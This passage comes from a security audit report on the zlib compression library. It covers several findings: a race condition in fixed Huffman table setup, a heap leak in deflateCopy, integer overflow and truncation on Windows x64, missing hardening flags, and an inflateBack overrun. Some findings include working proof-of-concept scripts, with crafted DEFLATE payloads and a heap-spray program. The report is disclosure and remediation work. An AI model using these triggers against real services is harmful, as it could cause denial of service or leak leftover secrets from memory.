This vulnerability highlights a critical contradiction in the library safety guarantees. While 

14 https://cwe.mitre.org/data/definitions/362.html  
13 https://github.com/madler/zlib/commit/c267ef7  
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the project README explicitly claims “All the code is thread-safe”15. This specific build 
configuration violates that guarantee by introducing an unprotected global state. 
Although the source code contains a local comment warning that the first-call table build 
“may not be thread safe”, the tension between top-level documentation and actual 
behavior of this build flag creates a dangerous “footgun” for developers who rely on the 
advertised library thread safety. 
 
An attacker can weaponize this by flooding a target application with concurrent requests 
immediately after the service starts or restarts. To guarantee execution of the vulnerable 
code path, the attacker sends crafted compressed payloads specifying “Fixed Huffman” 
encoding (BTYPE=01 in the DEFLATE header), which forces the library to initialize the 
static fixed tables. If the race condition is triggered, the static Huffman tables can 
become corrupted in process memory. Because the initialization flag is effectively 
“one-way”, the application will not attempt to rebuild the tables within the lifetime of the 
process. This can result in a denial of service via a crash during decompression. If the 
fixed tables become corrupted without an immediate crash, subsequent decompression 
of fixed-Huffman blocks can fail until the application process is restarted. 
 
The following PoC demonstrates the race condition by instrumenting the library with 
ThreadSanitizer16 (TSan) and triggering concurrent initialization via the public API. It 
compiles zlib with the vulnerable -DBUILDFIXED configuration and TSan enabled. The 
exploit spawns multiple threads that simultaneously initialize a raw deflate stream and 
pass a crafted payload (0x03, representing a “Fixed Huffman” block) to inflate(). This 
specific input forces the library to internally call the lazy initialization function fixedtables. 
TSan detects the concurrent write access to the static virgin flag and Huffman table 
arrays, providing proof of the data race without relying on precise timing. 
 
PoC Script: 
#!/bin/bash​
set -e​
​
# 1. SETUP​
WORK_DIR=$(mktemp -d)​
echo "[*] Using temporary workspace: $WORK_DIR"​
​
# Robust cleanup that handles Ctrl-C​
cleanup() {​
    rm -rf "$WORK_DIR"​
}​
trap cleanup EXIT INT TERM​
​
cd "$WORK_DIR"​

16 https://clang.llvm.org/docs/ThreadSanitizer.html  
15 https://github.com/madler/zlib/[...]/README#L3-L4  
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​
# 2. GET ZLIB​
echo "[*] Downloading zlib 1.3.1.2..."​
git clone --depth 1 --branch v1.3.1.2 https://github.com/madler/zlib.git > /dev/null 

2>&1​
cd zlib​
​
# 3. COMPILE ZLIB WITH TSAN​
echo "[*] Compiling zlib with ThreadSanitizer & -DBUILDFIXED..."​
# We enable TSan here so it can monitor the internal static arrays.​
# -g: Debug symbols (so TSan shows line numbers)​
# -O1: Optimization level 1 (recommended for TSan accuracy)​
export CFLAGS="-fsanitize=thread -g -O1 -DBUILDFIXED -fPIC"​
./configure --static > /dev/null​
make > /dev/null​
​
# 4. CREATE EXPLOIT​
cat > ../tsan_poc.c << "EOF"​
#include <stdio.h>​
#include <stdlib.h>​
#include <pthread.h>​
#include <unistd.h>​
#include <string.h>​
#include "zlib.h"​
​
#define NUM_THREADS 5​
​
pthread_barrier_t barrier;​
​
void* poc_thread(void* arg) {​
    z_stream strm;​
    memset(&strm, 0, sizeof(strm));​
    strm.zalloc = Z_NULL;​
    strm.zfree = Z_NULL;​
    strm.opaque = Z_NULL;​
​
    // RAW Deflate mode (-15).​
    // This minimizes overhead and gets us to the vulnerable code faster.​
    if (inflateInit2(&strm, -15) != Z_OK) return NULL;​
​
    // PAYLOAD EXPLANATION:​
    // We need to force inflate() to enter the 'fixedtables()' function.​
    // This happens when it encounters a block with BTYPE=01 (Fixed Huffman).​
    // Byte 0x03 = Binary 00000011​
    //   Bit 0 (1): BFINAL=1 (Last block)​
    //   Bits 1-2 (01): BTYPE=1 (Fixed Huffman) -> TRIGGERS fixedtables()​
    unsigned char trigger_payload[] = { 0x03, 0x00 };​
​
    strm.next_in = trigger_payload;​
    strm.avail_in = sizeof(trigger_payload);​
​
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    unsigned char out[128];​
    strm.next_out = out;​
    strm.avail_out = sizeof(out);​
​
    // Sync threads to ensure they hit the block type check simultaneously​
    pthread_barrier_wait(&barrier);​
​
    // This call will parse the 0x03 header, see "Fixed Huffman",​
    // and immediately call the vulnerable 'fixedtables()' internally.​
    inflate(&strm, Z_NO_FLUSH);​
​
    inflateEnd(&strm);​
    return NULL;​
}​
​
int main() {​
    pthread_t threads[NUM_THREADS];​
    pthread_barrier_init(&barrier, NULL, NUM_THREADS);​
​
    fprintf(stderr, "[*] Spawning %d threads to trigger fixedtables() via 

inflate()...\n", NUM_THREADS);​
​
    for (int i = 0; i < NUM_THREADS; i++) {​
        pthread_create(&threads[i], NULL, poc_thread, NULL);​
    }​
​
    for (int i = 0; i < NUM_THREADS; i++) {​
        pthread_join(threads[i], NULL);​
    }​
​
    return 0;​
}​
EOF​
​
# 5. COMPILE EXPLOIT​
echo "[*] Compiling PoC..."​
# We link against our TSan-instrumented libz.a​
gcc -fsanitize=thread -g -O1 -I. \​
    ../tsan_poc.c libz.a -o ../tsan_poc -lpthread​
​
# 6. RUN EXPLOIT​
echo "[*] Running PoC..."​
echo "----------------------------------------------------------------"​
​
# Disable ASLR for this run to prevent TSan memory mapping errors​
export TSAN_OPTIONS="exitcode=124 verbosity=0"​
set +e​
setarch $(uname -m) -R ../tsan_poc 2> tsan_report.txt​
RET=$?​
set -e​
​
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cat tsan_report.txt​
echo "----------------------------------------------------------------"​
​
if [ $RET -eq 124 ]; then​
    echo ""​
    echo "[!!!] VULNERABILITY CONFIRMED [!!!]"​
    echo "ThreadSanitizer detected a DATA RACE in inflate.c."​
elif grep -q "WARNING: ThreadSanitizer: data race" tsan_report.txt; then​
    echo ""​
    echo "[!!!] VULNERABILITY CONFIRMED [!!!]"​
    echo "ThreadSanitizer detected a DATA RACE in inflate.c."​
else​
    echo "[-] No race detected."​
fi 
 
Command: 
bash poc.sh 

 
Output: 
[*] Using temporary workspace: /tmp/tmp.k8tueNGcf3 

[*] Downloading zlib 1.3.1.2... 

[*] Compiling zlib with ThreadSanitizer & -DBUILDFIXED... 

[*] Compiling PoC... 

[*] Running PoC... 

---------------------------------------------------------------- 

[*] Spawning 5 threads to trigger fixedtables() via inflate()... 

================== 

WARNING: ThreadSanitizer: data race (pid=3845732) 

  Write of size 8 at 0x555555562900 by thread T1: 

    #0 fixedtables /tmp/tmp.k8tueNGcf3/zlib/inflate.c:270 (tsan_poc+0x3ac5) (BuildId: 

6a1d8266b751526b9ae3ce24c1f0849618110769) 

    #1 inflate /tmp/tmp.k8tueNGcf3/zlib/inflate.c:844 (tsan_poc+0x3ac5) 

    #2 poc_thread ../tsan_poc.c:43 (tsan_poc+0x14cc) (BuildId: 

6a1d8266b751526b9ae3ce24c1f0849618110769) 

 

  Previous write of size 8 at 0x555555562900 by thread T5: 

    #0 inflate_table /tmp/tmp.k8tueNGcf3/zlib/inftrees.c:296 (tsan_poc+0x71e8) 

(BuildId: 6a1d8266b751526b9ae3ce24c1f0849618110769) 

    #1 fixedtables /tmp/tmp.k8tueNGcf3/zlib/inflate.c:273 (tsan_poc+0x3b2f) (BuildId: 

6a1d8266b751526b9ae3ce24c1f0849618110769) 

    #2 inflate /tmp/tmp.k8tueNGcf3/zlib/inflate.c:844 (tsan_poc+0x3b2f) 

    #3 poc_thread ../tsan_poc.c:43 (tsan_poc+0x14cc) (BuildId: 

6a1d8266b751526b9ae3ce24c1f0849618110769) 

 

[...] 

 

SUMMARY: ThreadSanitizer: data race /tmp/tmp.k8tueNGcf3/zlib/inflate.c:270 in 

fixedtables 

================== 

[...] 
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SUMMARY: ThreadSanitizer: SEGV /tmp/tmp.k8tueNGcf3/zlib/inftrees.c:231 in inflate_table 

==3845732==ABORTING 

---------------------------------------------------------------- 

 

[!!!] VULNERABILITY CONFIRMED [!!!] 

ThreadSanitizer detected a DATA RACE in inflate.c. 

 
Affected Files: 
https://github.com/madler/zlib/[...]/inflate.c 
https://github.com/madler/zlib/[...]/infback.c  
 
Affected Code: 
local void fixedtables(struct inflate_state FAR *state) {​
#ifdef BUILDFIXED​
    static int virgin = 1;​
    static code *lenfix, *distfix;​
    static code fixed[544];​
​
    /* build fixed huffman tables if first call (may not be thread safe) */​
    if (virgin) {​
        [...]​
        /* do this just once */​
        virgin = 0;​
    } 

    [...] 

} 

 
It is recommended to apply a patch to both inflate.c and infback.c that replaces the 
unsafe virgin flag with standard thread-safe initialization primitives (for example, 
pthread_once or C11 call_once). Alternatively, it is recommended to remove the 
-DBUILDFIXED flag from the build configuration to use the standard, thread-safe 
pre-computed tables (inffixed.h) if patching is not feasible. 
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ZLB-01-010 WP1: Heap Leak via Uninitialized Memory in deflateCopy (Low) 
 
Retest Notes: Resolved by zlib17, and verified by 7ASecurity. 
 
An information disclosure vulnerability18 exists in the deflateCopy function within 
deflate.c. This function is responsible for cloning the compression state of a z_stream. 
The implementation correctly allocates new buffers for the sliding window (window) and 
the hash chain table (prev) for the destination stream. However, when populating these 
buffers, the function performs a zmemcpy of the entire allocated size from the source 
buffers to the destination buffers. In addition, deflateCopy also allocates and copies the 
full pending_buf capacity, not just the pending bytes, which can likewise propagate 
uninitialized tail data. 
 
This copy operation ignores the actual initialization state of the source buffers. In deflate 
compression, the sliding window is lazily initialized as data is processed. zlib tracks a 
“high water mark” for window initialization and only zeros small regions opportunistically, 
meaning large untouched regions can retain allocator residue. Memory beyond the 
current data pointer often contains uninitialized heap data because zcalloc uses malloc 
rather than calloc on modern systems. Similarly, zlib explicitly documents that prev[] is 
initialized on the fly and that entries can contain garbage values when they are not part 
of an active chain. deflateCopy preserves and propagates those bytes by copying the 
table. By unconditionally copying the full allocated capacities (window: 2 * w_size bytes, 
prev: w_size * sizeof(Pos), plus pending_buf: pending_buf_size), deflateCopy 
propagates uninitialized heap data into the destination stream structure. On common 
builds with w_size = 32KB and 16 bit Pos, window and prev are approximately 64 KB 
each. 
 
While the uninitialized data is not directly exposed through the standard zlib output 
stream, it persists within process memory and extends the lifetime of potentially sensitive 
heap residue. If the source stream memory contained residual sensitive data such as 
keys or passwords from a previous allocation, deflateCopy resurrects this data by 
copying it into a valid live object. This facilitates heap analysis or grooming if the 
destination stream state is subsequently serialized, logged, or inspected through 
debugging interfaces. 
 
Note: This finding mirrors the inflateCopy vulnerability ZLB-01-003 but affects the 
compression path. It highlights a consistent failure to respect data lifecycle boundaries in 
state cloning routines. 
 

18 https://cwe.mitre.org/data/definitions/908.html  
17 https://github.com/madler/zlib/commit/8404590  
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The following proof of concept demonstrates the propagation of uninitialized heap data. 
The heap is first sprayed with a known pattern named SECRET_DATA and then freed. A 
source deflate stream is then initialized and used to compress a minimal amount of data, 
leaving the majority of the internal 64 KB window buffer uninitialized and containing freed 
secret data. The vulnerability is triggered by calling deflateCopy, which unconditionally 
copies the dirty window to the destination stream. The PoC then inspects the internal 
state of the destination stream to confirm the presence of the secret pattern. 
 
PoC Script: 
#!/bin/bash​
set -e​
​
# 1. SETUP WORKSPACE (TEMPORARY)​
WORK_DIR=$(mktemp -d)​
echo "[*] Using temporary workspace: $WORK_DIR"​
​
cleanup() {​
    echo "[*] Cleaning up workspace..."​
    rm -rf "$WORK_DIR"​
}​
trap cleanup EXIT​
​
cd "$WORK_DIR"​
​
echo "[*] Downloading zlib 1.3.1.2..."​
git clone --depth 1 --branch v1.3.1.2 https://github.com/madler/zlib.git​
cd zlib​
​
echo "[*] Compiling zlib (static, no optimizations)..."​
CFLAGS="-g -O0" ./configure --static​
make > /dev/null​
​
# 2. CREATE THE EXPLOIT C CODE​
cat > ../poc.c << "EOF"​
#include <stdio.h>​
#include <string.h>​
#include <stdlib.h>​
#include "zlib.h"​
​
/* INTERNAL STRUCT MIRROR (x86_64) - Adapted for deflate_state */​
typedef struct {​
    z_streamp strm; int status; unsigned char *pending_buf; unsigned long 

pending_buf_size;​
    unsigned char *pending_out; unsigned long pending; int wrap; void *gzhead;​
    unsigned long gzindex; unsigned char method; int last_flush;​
    /* deflate.c specific members */​
    unsigned int w_size; unsigned int w_bits; unsigned int w_mask;​
    unsigned char *window; /* TARGET: Sliding Window */​
} mimic_deflate_state;​
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​
#define WINDOW_BYTES 65536​
#define SECRET_STRING "SECRET_DATA"​
​
int main() {​
    printf("[*] 1. Heap Spraying...\n");​
    ​
    // Allocate the chunk we want zlib to reuse​
    char *poison = (char *)malloc(WINDOW_BYTES);​
    if (!poison) return 1;​
    ​
    // Fill with secrets​
    for (int i = 0; i < WINDOW_BYTES - 20; i += 20) {​
        memcpy(poison + i, SECRET_STRING, strlen(SECRET_STRING));​
    }​
    ​
    // Free it -> goes to heap free list​
    free(poison);​
​
    printf("[*] 2. Triggering Vulnerability...\n");​
    z_stream strm_src;​
    strm_src.zalloc = Z_NULL; strm_src.zfree = Z_NULL; strm_src.opaque = Z_NULL;​
    ​
    // Initialize Deflate (Standard)​
    if (deflateInit(&strm_src, Z_DEFAULT_COMPRESSION) != Z_OK) return 1;​
​
    // Tiny compression to make stream active but leave window mostly dirty​
    char in_data[] = "A"; ​
    unsigned char out_buf[128];​
    strm_src.next_in = (unsigned char*)in_data;​
    strm_src.avail_in = 1;​
    strm_src.next_out = out_buf;​
    strm_src.avail_out = sizeof(out_buf);​
    deflate(&strm_src, Z_NO_FLUSH);​
​
    // COPY THE STREAM (The Bug)​
    z_stream strm_dst;​
    if (deflateCopy(&strm_dst, &strm_src) != Z_OK) return 1;​
​
    printf("[*] 3. Verifying Leak...\n");​
    mimic_deflate_state *state = (mimic_deflate_state *)strm_dst.state;​
    unsigned char *win = state->window;​
​
    if (!win) { printf("[-] No window.\n"); return 1; }​
​
    // Look for our secret in the destination​
    char *found = NULL;​
    // Skip first 100 bytes (valid data)​
    for(int i = 100; i < WINDOW_BYTES - 20; i++) {​
        if (memcmp(win + i, SECRET_STRING, strlen(SECRET_STRING)) == 0) {​
            found = (char*)(win + i);​
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            break;​
        }​
    }​
​
    if (found) {​
        printf("\n[!!!] VULNERABILITY CONFIRMED [!!!]\n");​
        printf("Leaked content found at offset %ld: %.15s...\n", found - (char*)win, 

found);​
        printf("This proves deflateCopy() copied uninitialized heap memory.\n");​
    } else {​
        printf("[-] Secret not found.\n");​
    }​
​
    deflateEnd(&strm_src);​
    deflateEnd(&strm_dst);​
    return 0;​
}​
EOF​
​
# 3. COMPILE AND RUN​
echo "[*] Running PoC..."​
gcc -o poc ../poc.c -I. -L. -lz​
./poc 
 
Command: 
bash poc.sh 

 
Output: 
[*] Using temporary workspace: /tmp/tmp.xDJIlDEqa3 

[*] Downloading zlib 1.3.1.2... 

Cloning into 'zlib'... 

[...] 

[*] Compiling zlib (static, no optimizations)... 

Checking for gcc... 

Building static library libz.a version 1.3.1.2-audit with gcc. 

Checking for size_t... Yes. 

Checking for off64_t... Yes. 

Checking for fseeko... Yes. 

Checking for strerror... Yes. 

Checking for unistd.h... Yes. 

Checking for stdarg.h... Yes. 

Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf(). 

Checking for vsnprintf() in stdio.h... Yes. 

Checking for return value of vsnprintf()... Yes. 

Checking for attribute(visibility) support... Yes. 

[*] Running PoC... 

[*] 1. Heap Spraying... 

[*] 2. Triggering Vulnerability... 

[*] 3. Verifying Leak... 
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[!!!] VULNERABILITY CONFIRMED [!!!] 

Leaked content found at offset 272: SECRET_DATA... 

This proves deflateCopy() copied uninitialized heap memory. 

[*] Cleaning up workspace... 

 
Affected File: 
https://github.com/madler/zlib/[...]/deflate.c  
 
Affected Code: 
int ZEXPORT deflateCopy(z_streamp dest, z_streamp source) {​
    [...]​
    ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte));​
    ds->prev   = (Posf *)  ZALLOC(dest, ds->w_size, sizeof(Pos));​
    [...]​
    // NOTE: Blindly copies FULL allocated capacities​
    zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte));​
    zmemcpy((voidpf)ds->prev, (voidpf)ss->prev, ds->w_size * sizeof(Pos));​
    [...]​
} 
 
It is recommended to modify deflateCopy to limit the memory copy of the sliding window 
to the valid initialized region rather than the full allocated capacity. Any remaining buffer 
space, as well as the destination hash table which contains documented garbage 
values, should be explicitly zero-initialized to prevent the propagation of residual heap 
data. It is also recommended to sanitize pending_buf by either zero initializing the 
destination buffer before copying only the pending bytes or by explicitly zero initializing 
the tail region from pending to pending_buf_size after copying. 
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Hardening Recommendations 
 
This area of the report provides insight into less significant weaknesses that might assist 
adversaries in certain situations. Issues listed in this section often require another 
vulnerability to be exploited, need an uncommon level of access, exhibit minor risk 
potential on their own, and/or fail to follow information security best practices. 
Nevertheless, it is recommended to resolve as many of these items as possible to 
improve the overall security posture and protect users in edge-case scenarios. 
 

ZLB-01-005 WP2: Integer Overflow in Bound Calculations on LLP64 (Low) 
 
Retest Notes: Resolved by zlib19, and verified by 7ASecurity. 
 
An integer overflow20 condition exists in the buffer size calculation functions 
compressBound and deflateBound that affect library reliability on LLP6421 platforms 
(such as Windows x64). Both functions calculate the required buffer size using the 
uLong type. On Windows x64 systems, uLong remains a 32-bit unsigned integer despite 
the 64-bit architecture. Consequently, when sourceLen approaches ULONG_MAX 
(specifically within the upper ~1–2 MiB of the 32-bit range), the addition of protocol 
overhead causes the summation to wrap around modulo 2^32. 
 
The resulting value returned to the caller is a small integer (e.g., ~1.3 MB) that is 
significantly smaller than the required buffer size (~4.3 GB). Consumers following the 
zlib guidance to allocate compressBound(sourceLen) or deflateBound(...) will allocate a 
grossly undersized buffer and receive Z_BUF_ERROR. In applications that implement 
unbounded retry loops or treat Z_BUF_ERROR as transient, this can result in 
CPU/memory exhaustion. Even when the loop is bounded, this causes guaranteed job 
failure for inputs in this specific upper size range unless the consumer uses streaming 
APIs. 
 
This behavior creates a portability and reliability risk on LLP64 platforms: the bound 
functions can return a non-conservative value due to wraparound, which can mislead 
well-behaved callers into allocating undersized buffers and trigger avoidable failures. 
 
Note: This specific integer truncation risk aligns with findings in upstream zlib issue 
#75622, where contributors explicitly noted that compressBound relies on the unsigned 
long type and will truncate on 64-bit Windows. While some internal library types were 
updated to support 64-bit widths in that discussion, the public API signature for 

22 https://github.com/madler/zlib/issues/756  
21 https://en.wikipedia.org/wiki/64-bit_computing#64-bit_data_models  
20 https://cwe.mitre.org/data/definitions/190.html  
19 https://github.com/madler/zlib/commit/916dc1a  
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compressBound retains this 32-bit bottleneck, confirming that the wrap-around behavior 
is a known consequence of the LLP64 data model that remains unmitigated. 
 
The following PoC demonstrates an integer overflow condition in compressBound and 
deflateBound on LLP64 platforms (Windows x64). It initializes a uLong input length to 
ULONG_MAX and queries the library for the required output buffer size. Due to the 
32-bit width of uLong on this platform, the internal overhead calculation causes a 
summation wrap-around (modulo 232). The output confirms that the functions return a 
non-conservative value (~1.3 MB) instead of the necessary ~4.3 GB, exposing 
consumers who rely on this bound for allocation to predictable allocation failure or 
service disruption. 
 
PoC: 
#include <stdio.h>​
#include <zlib.h>​
​
int main(void) {​
    z_stream s;​
    memset(&s, 0, sizeof(s)); 

    uLong in = 0xffffffffUL;​
    uLong cb = compressBound(in);​
    if (deflateInit(&s, Z_DEFAULT_COMPRESSION) != Z_OK) return 1;​
        uLong db = deflateBound(&s, in);​
    deflateEnd(&s);​
    printf("in=%lu compressBound=%lu deflateBound=%lu\n", in, cb, db);​
    return 0;​
} 
 
Command: 
poc.exe 

 
Output: 
in=4294967295 compressBound=1310857 deflateBound=1310857 
 
Affected File: 
https://github.com/madler/zlib/[...]/compress.c 
 
Affected Code: 
uLong ZEXPORT compressBound(uLong sourceLen) {​
    return sourceLen + (sourceLen >> 12) + (sourceLen >> 14) +​
           (sourceLen >> 25) + 13;​
} 

 

Affected File: 
https://github.com/madler/zlib/[...]/deflate.c 
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Affected Code: 
uLong ZEXPORT deflateBound(z_streamp strm, uLong sourceLen) { 

    [...]​
    return sourceLen + (sourceLen >> 12) + (sourceLen >> 14) +​
           (sourceLen >> 25) + 13 - 6 + wraplen;​
} 
 
It is recommended to modify compressBound and deflateBound to detect if the 
calculation exceeds the maximum representable value of uLong and saturate the return 
value to ULONG_MAX (or a defined error sentinel like 0) if an overflow is detected. This 
prevents the return of a dangerously small “valid-looking” size. Additionally, the library 
documentation should be updated to explicitly warn that single-shot compression APIs 
have input limits near 4GB on LLP64 platforms due to type limitations. 
 

ZLB-01-006 WP2: Silent Data Truncation in Utility APIs on LLP64 (Low) 
 
Retest Notes: Resolved by zlib23, and verified by 7ASecurity. 
 
A silent data integrity risk exists in the core zlib utility APIs (compress, compress2, 
uncompress, uncompress2) on LLP64 platforms (primarily Windows x64). The risk 
stems from an architectural mismatch where these APIs rely on the uLong (i.e., 
unsigned long) type for buffer lengths. On LP64 platforms (Linux/macOS), this type is 
64-bit, but on LLP64 platforms (Windows), it is 32-bit. Code developed on Linux to 
handle large datasets (>4GB) will compile successfully on Windows, but an implicit 
narrowing conversion occurs at the call site, truncating24 the 64-bit length to 32 bits 
before the library function is entered. 
 
Unlike integer overflow in bound calculations (ZLB-01-005), this issue results in silent 
data truncation. It aligns with upstream issue #75625 regarding 64-bit Windows type 
mismatches, but specifically highlights the silent data loss vector which is not clearly 
documented as a security risk in the current manual. The library receives the truncated 
length (modulo 2³²), successfully compresses only that prefix, and returns Z_OK. The 
lack of an error code creates a false sense of security in high-integrity systems, as 
standard error-handling mechanisms fail to detect that the tail of the data, potentially 
containing critical audit logs or backup files, was discarded. 
 
Affected File:​
https://github.com/madler/zlib/[...]/zlib.h  
 

 

25 https://github.com/madler/zlib/issues/756  
24 https://cwe.mitre.org/data/definitions/197.html  
23 https://github.com/madler/zlib/commit/4edb00d  
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Affected Code: 
ZEXTERN int ZEXPORT compress(Bytef *dest,   uLongf *destLen,​
                             const Bytef *source, uLong sourceLen);​
[...]​
ZEXTERN int ZEXPORT compress2(Bytef *dest,   uLongf *destLen,​
                              const Bytef *source, uLong sourceLen,​
                              int level); 

[...] 

ZEXTERN int ZEXPORT uncompress(Bytef *dest,   uLongf *destLen,​
                             const Bytef *source, uLong sourceLen);​
[...]​
ZEXTERN int ZEXPORT uncompress2(Bytef *dest,   uLongf *destLen,​
                              const Bytef *source, uLong sourceLen); 

 
It is recommended to implement inline safety wrappers in the public zlib.h header for 
LLP64 builds. These wrappers should intercept calls to the affected utility functions, 
check whether the input length exceeds UINT_MAX, and return Z_BUF_ERROR or 
Z_STREAM_ERROR before the underlying function is called. To prevent macro 
recursion loops, the wrappers must invoke the underlying functions using the standard 
parenthesized syntax (e.g., (func)(...)) to suppress macro expansion. 
 
Alternatively, it is recommended to introduce new API variants (e.g., compress_z, 
uncompress_z) that accept z_size_t lengths, consistent with other modern zlib functions. 
The documentation must be updated to explicitly warn that the standard utility functions 
are not suitable for inputs >4 GB on Windows x64 (LLP64). 
 

ZLB-01-007 WP4: Missing Compiler and Linker Flags in zlib Build (Low) 
 
Retest Notes: Resolved by zlib26, and verified by 7ASecurity. 
 
The zlib library is built without enforcing security-hardening compiler and linker flags by 
default. The upstream zlib build system (Autotools/CMake) intentionally does not enable 
flags such as stack protection, fortified libc calls, runtime sanitizers, or aggressive 
warning enforcement, leaving these decisions to downstream consumers. 
 
Without these flags, memory safety issues (e.g., buffer overflows, use-after-free, 
undefined behavior) are harder to detect during testing and may be more easily 
exploitable in production. While this is an upstream design choice for portability, failing to 
apply environment-appropriate hardening flags reduces defense-in-depth and increases 
the likelihood that logic or bounds-checking defects (historically present in zlib) go 
undetected before release. 
 
The following list contains 2 instances: test or pre-production (UAT), and production 

26 https://github.com/madler/zlib/commit/78832f5  
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environments. 
 
Instance 1: Test and Pre-Production (UAT) Environment 
 
In test or UAT environments, zlib is compiled without runtime sanitizers or strict compiler 
diagnostics. This can result in undefined behavior going unnoticed and reduced 
effectiveness of fuzzing and malformed input testing. Without sanitizers such as 
UndefinedBehaviorSanitizer (UBSan) and AddressSanitizer (ASan), invalid input may 
not trigger a visible failure during testing. 
 
Instance 2: Production Environment 
 
For the production builds, zlib is typically compiled without stack protection, FORTIFY, 
PIE, or RELRO explicitly enabled. This can result in reduced exploit mitigation if a 
memory corruption defect is triggered, and increased exploitability if it is successfully 
exploited. If a logic error leads to invalid state or buffer misuse, the absence of stack 
canaries, RELRO, or PIE reduces resistance to exploitation. 
 
For test or UAT environments, it is recommended to enable diagnostic and 
detection-focused flags to maximize issue discovery before release: 

●​ AddressSanitizer (ASan) and UndefinedBehaviorSanitizer (UBSan) 
●​ Strong warnings and optionally treat warnings as errors 

 
This can be achieved by adding the following flags to the compiler (CFLAGS) and linker 
(LDFLAGS) variables during the build process: 
 
CFLAGS="-fsanitize=address,undefined -Wall -Wextra -Werror" \​
LDFLAGS="-fsanitize=address,undefined" 

 
For production environments, it is recommended to enable hardening and 
exploit-mitigation flags where supported without runtime sanitizers to minimize 
performance issues: 

●​ Stack canaries 
●​ FORTIFY_SOURCE 
●​ PIE / RELRO / immediate binding 
●​ NX stack 

 
This can be achieved by adding the following flags during build process: 
 
CFLAGS="-O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE" \​
LDFLAGS="-fPIE -pie -Wl,-z,relro,-z,now -Wl,-z,noexecstack" 
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ZLB-01-008 WP1: Integer Overflow in Modern zcalloc implementation (Low) 
 
It was found that the zcalloc function in zutil.c is susceptible to integer overflows. The 
affected code performs an unchecked 32-bit multiplication of two unsigned parameters 
before passing the result to malloc, which could result in heap overflow conditions if 
attacker-controlled inputs can influence large allocation sizes. The zcalloc function 
serves as a zlib internal memory allocation wrapper, providing a unified interface for 
dynamic memory allocation across the compression library. This function is registered as 
the default allocator (strm->zcalloc = zcalloc) during initialization of both compression 
and decompression streams via deflateInit2 and inflateInit2. 
 
The root cause is an unchecked arithmetic operation performed with insufficient 
precision. Both parameters, items and size, are declared as unsigned  (typically 32-bit 
on modern systems) and their multiplication is evaluated as a 32-bit operation. When the 
mathematical product exceeds UINT_MAX27, the C language specification mandates 
that unsigned integer overflow wraps around modulo 2^32, truncating the result to the 
lower 32 bits. 
 
The current ranking of this finding is maintained, as the reachability through 
attacker-controlled inputs was not detected during the source code analysis. 
 
Affected File: 
https://github.com/madler/zlib/blob/[...]/zutil.c#L286-L290  
 
Affected Code:​
voidpf ZLIB_INTERNAL zcalloc(voidpf opaque, unsigned items, unsigned size) {​
   (void)opaque;​
   return sizeof(uInt) > 2 ? (voidpf)malloc(items * size) :​
                             (voidpf)calloc(items, size);​
} 
 
There is an important distinction from the calloc path: the 16-bit code path (sizeof(uInt) 
<= 2) uses calloc(items, size), which receives both multiplicands separately and may 
perform internal overflow validation. The POSIX.1-2008 standard recommends (though 
does not mandate) that calloc implementations detect overflow and return NULL. Many 
modern implementations including glibc, musl, and macOS libSystem perform this 
check. The malloc path bypasses this protection layer. 
 
It is recommended to patch zcalloc by adding an explicit overflow check before 
allocation, and to use a single allocation path (preferably calloc). This helps ensure that 
products exceeding SIZE_MAX are rejected and Z_NULL is returned, preventing 

27 https://en.cppreference.com/w/c/types/limits.html  
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undefined behavior and heap corruption while providing zero-initialized memory for 
defense in depth. 
 

ZLB-01-009 WP2: Silent Buffer Overrun in inflateBack (Low) 
 
The inflateBack interface operates under a different safety model than the core inflate 
API. While the standard inflate function accepts an explicit output bound (avail_out) with 
every call, allowing the library to verify write limits dynamically, the inflateBack interface 
establishes its write limits solely during initialization via inflateBackInit_. 
 
In inflateBackInit_, the usable output span (state->wsize) is derived mathematically from 
the integer windowBits argument (2windowBits), rather than from an explicit buffer size 
parameter. The window pointer is stored without accompanying metadata regarding its 
actual allocated capacity. 
 
Consequently, the runtime execution of inflateBack (specifically the ROOM macro in 
infback.c) refills the available output counter (left) using this derived wsize. If an 
integrator allocates a buffer that does not exactly match the power-of-two size implied by 
windowBits (e.g., using a fixed-size buffer smaller than 215), the library will write beyond 
the end of the provided buffer. Unlike inflate, which creates a redundant check via 
avail_out, inflateBack lacks the mechanism to detect this mismatch. 
 
Affected File: 
https://github.com/madler/zlib/[...]/infback.c  
 
Affected Code: 
int ZEXPORT inflateBackInit_(z_streamp strm, int windowBits,​
                             unsigned char FAR *window, const char *version,​
                             int stream_size) {​
    [...]​
    state->wbits = (uInt)windowBits;​
    state->wsize = 1U << windowBits;​
    state->window = window;​
    state->wnext = 0;​
    state->whave = 0;​
    state->sane = 1;​
    return Z_OK;​
}​
[...]​
#define ROOM() \​
    do { \​
        if (left == 0) { \​
            put = state->window; \​
            left = state->wsize; \​
            state->whave = left; \​
            if (out(out_desc, put, left)) { \​
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                ret = Z_BUF_ERROR; \​
                goto inf_leave; \​
            } \​
        } \​
    } while (0) 

 
To align inflateBack with modern API safety standards without breaking ABI 
compatibility, it is recommended to add a new initialization function (e.g., 
inflateBackInitSafe) that accepts an explicit z_size_t window_size. This function should 
return Z_BUF_ERROR if window_size < (1U << windowBits). This provides a safeguard 
for integrators by validating the memory contract at initialization time, preventing subtle 
off-by-one-power allocation errors from becoming runtime memory corruptions. The 
legacy function can then be documented as “unchecked” to encourage migration. 
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WP5: zlib Supply Chain & Release Process Review 
 

Introduction and General Analysis 
 
The 8th Annual State of the Software Supply Chain Report, released in October 202228,  
reported an average annual increase of 742% in software supply chain attacks since 
2019. Some notable compromise incidents include Okta29, GitHub30, Magento31, 
SolarWinds32, and Codecov33, among many others. To mitigate this concerning trend, 
Google and the OpenSSF released an End-to-End Framework for Supply Chain Integrity 
in June 202134, named Supply-chain Levels for Software Artifacts (SLSA)35. 
 
The Supply-chain Levels for Software Artifacts (SLSA) is a framework designed to 
ensure the integrity of the software supply chain. It outlines different levels of software 
supply chain security and the corresponding practices required to achieve them. A 
critical component of SLSA is the provenance document, which goes beyond a simple 
signature. Instead of merely confirming possession of a software artifact at a given time, 
provenance details the artifact construction and its dependencies. This document serves 
to assure consumers that the artifact was built as claimed by its authors. 
 
The supply chain integrity of the zlib project was assessed using the SLSA v1.2 
framework36. 
 
Current SLSA v1.2 practices 
 
Based on the SLSA v1.2 questionnaire responses and reviewed materials, a 
foundational but largely manual approach to software supply chain security was 
identified during evaluation against the SLSA v1.2 framework. Existing practices provide 
